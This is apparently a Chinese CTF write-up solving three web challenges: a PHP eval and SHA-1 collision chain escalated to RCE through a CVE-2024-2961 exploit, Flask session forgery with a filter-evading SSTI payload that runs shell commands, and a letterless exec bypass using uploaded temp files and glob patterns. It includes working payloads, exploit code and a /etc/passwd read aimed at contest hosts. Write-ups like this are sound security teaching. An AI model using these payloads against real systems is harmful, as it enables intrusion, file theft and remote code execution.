小桃的PHP挑战
<?php
include 'jeer.php';
highlight_file(__FILE__);
error_reporting(0);
$A = 0;
$B = 0;
$C = 0;
//第一关
if (isset($_GET['one'])){
$str = $_GET['str'] ?? '0';
$add = substr($str, 0, 1);
$add++;
if (strlen($add) > 1 ) {
$A = 1;
} else {
echo $one;
}
} else {
echo $begin;
}
//第二关
if (isset($_GET['two'])){
$comment = $_GET['comment'] ?? 'echo(114514)';
if (!preg_match('/(|;| |\$|~|\#|`|\'|\"|\*|?|<|>|\r|\n|\^)/i', $comment) && strlen($comment) < 20) {
try{
eval('$B = 1;'.$comment.';echo $two;die();');
}catch (Error $e){
echo $boom;
}
}
}
//第三关
if (isset($_GET['three'])){
if (isset($_POST['one'])&&isset($_POST['two'])){
$a1=(string)$_POST['one'];
$a2=(string)$_POST['two'];
if ($a1 !== $a2 && sha1($a1) === sha1($a2)){
$C = 1;
} else {
echo $three;
}
}
}
if ($A == 1 && $B == 1 && $C == 1){
echo file_get_contents($_POST['file']);
}
?>
第一关
当输入的字符为z
, ++自增之后会发现变成了aa
, 长度就变成了2, 满足条件
第二关
已经给$B赋值为1了, 只需要注释掉后面的内容不让它执行就行
php里面除了#
之外还有__HALT_COMPILER()
可以中断掉后面代码的运行
comment=__halt_compiler()
(这里给个phpinfo()也可以运行, 要是没有删除环境里面的变量说不定可以拿到, 不过这里是不行了,不知道有没有其他的方法在这里rce)
第三关
sha1的强比较绕过, 网上可以直接找现成的
one=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&two=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
到这里就可以实现任意文件读取了, 但是不知道为什么用hackbar, 还是burpsuite 还是yakit都无法看到文件读取的内容(本地搭建环境是可以的), 还得是用python来进行请求
import requests
session = requests.Session()
url='http://node6.anna.nssctf.cn:28172/'
one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
payload = "one=" + one + "&two=" + two
res=session.post(url=f'{url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+'&file=/etc/passwd',headers={'Content-Type':'application/x-www-form-urlencoded'})
print(res.text)
但是现在不知道flag的文件名, 所以需要利用到 CVE-2024-2961
将文件读取提升为rce
利用现成的exp, 主要修改send
和download
函数
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
payload = "one=" + one + "&two=" + two
headers={'Content-Type':'application/x-www-form-urlencoded'}
return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"</code>(.*)", flags=re.S).group(1)
return base64.decode(data)
一直是利用失败的状况
参考了一下官方wp, 对path做了一个quote()
编码发现就可以利用成功了, 可能中间会存在一些误解析
path = quote(path)
from urllib.parse import quote
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
payload = "one=" + one + "&two=" + two
headers={'Content-Type':'application/x-www-form-urlencoded'}
path = quote(path)
return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"</code>(.*)", flags=re.S).group(1)
return base64.decode(data)
在这个路径找到flag /1/1/4/5/1/4/flag
hack_the_world!
from flask import Flask, request, render_template,render_template_string, url_for, session
import time
import os
app = Flask(__name__)
app.secret_key = 'NSS'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
def contains_forbidden_keywords(complaint):
for keyword in FILTER_KEYWORDS:
if keyword.lower() in complaint:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
session['user'] = 'Gamer'
return render_template('index.html')
@app.route('/hack', methods=['GET', 'POST'])
def hack():
if session.get('user') != 'hacker':
return render_template('die.html',user=session.get('user'))
if (abc:=request.headers.get('User-Agent')) is None:
return render_template('fobidden.html')
cmd = request.form.get('cmd','noting')
if (answer:=request.args.get('answer')) == 'hack_you':
if contains_forbidden_keywords(cmd):
return render_template('forbidden.html')
else:
render_template_string(f'{cmd}',cmd=cmd)
css_url = url_for('static', filename='style.css')
js_url = url_for('static', filename='script.js')
return render_template_string(f'''
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>fake world</title>
<link rel="stylesheet" href="{css_url}">
<!-- No ping No curl No nc , little hacker blind no way-->
</head>
<body>
<canvas class="matrix"></canvas>
<div class="bg-animation"></div>
<div class="container">
<h1>So, what are you trying to do</h1>
<p>Just quit, little hacker. There’s nothing for you here.</p>
</div>
<script src="{js_url}"></script>
</body>
</html>
''', css_url=css_url,js_url=js_url)
首先需要先伪造用户为hacker
, 源码里也给了密钥
先解密看看格式, 再依照格式进行伪造
eyJ1c2VyIjoiaGFja2VyIn0.Z_PTjQ.mlUJFdi9CQS-mPvH9nbj80oTJAg
源码里面没有给过滤的黑名单, 需要自己去fuzz一下
响应为2925的就表示是禁止的
['_' , '.' , '/', '%', 'read', 'mro']
本来想基于这个黑名单的过滤, 本地部署一下让fenjing跑一下来着, 但是一直没跑出来 …
https://www.nssctf.cn/note/set/12058
给了个脚本, 确实一下就跑出来了payload
import fenjing
import logging
logging.basicConfig(level=logging.INFO)
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = ["_", "mro", "read", "/", "]", ".", "%"]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
cmd = "cat /flag > /app/static/flag.html"
full_payload_gen = fenjing.FullPayloadGen(waf)
shell_payload, _ = fenjing.exec_cmd_payload(waf, cmd) # 执行系统命令
# config_payload = fenjing.config_payload(waf) #查看config文件
# eval_payload, _ = full_payload_gen.generate(
# fenjing.const.EVAL, (fenjing.const.STRING, cmd)
# ) # 执行python命令
print(f"{shell_payload=}")
# print(f"{eval_payload=}")
if not _:
print("这个payload不会产生回显")
给的payload:
%7B%7Blipsum%7Cattr%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27globals%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27builtins%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27import%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%22%5Cx63%5Cx61%5Cx74%5Cx20%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx20%5Cx3e%5Cx20%5Cx2f%5Cx61%5Cx70%5Cx70%5Cx2f%5Cx73%5Cx74%5Cx61%5Cx74%5Cx69%5Cx63%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx2e%5Cx68%5Cx74%5Cx6d%5Cx6c%22%29%7Cattr%28%27r%27%27ead%27%29%28%29%7D%7D
有点奇怪的就是不知道为啥我跑出来的payload服务器一运行就会报500错误 (url编码了)
你是谁的菜鸟,又是谁的佬大
F12可以看到代码
<!--$NSS = $_GET['NSS'];
if (!preg_match('/([A-Z]|;| |\$|~|\#|\(|\^)/i', $NSS)) {
exec($NSS);
} else {
echo $Narration; -->
exec执行的命令, 且过滤了所有的字母以及一些字符
无字母webshell的打法,
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
-
shell下可以利用
.
来执行任意脚本 (类似于source
) -
Linux文件名支持用glob通配符代替
通过上传一个文件, PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
自己写一个上传的表单, 随便上传一个, 然后抓包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>upload</title>
</head>
<body>
<form action="http://node1.anna.nssctf.cn:28647/?NSS=" method="post" enctype="multipart/form-data">
<label for="file">Choose file:</label>
<input type="file" id="file" name="file"><br><br>
<input type="submit" value="Upload">
</form>
</body>
</html>
改一下文件的内容就行, 多发几次包
?NSS=.%09/???/????????[@-[]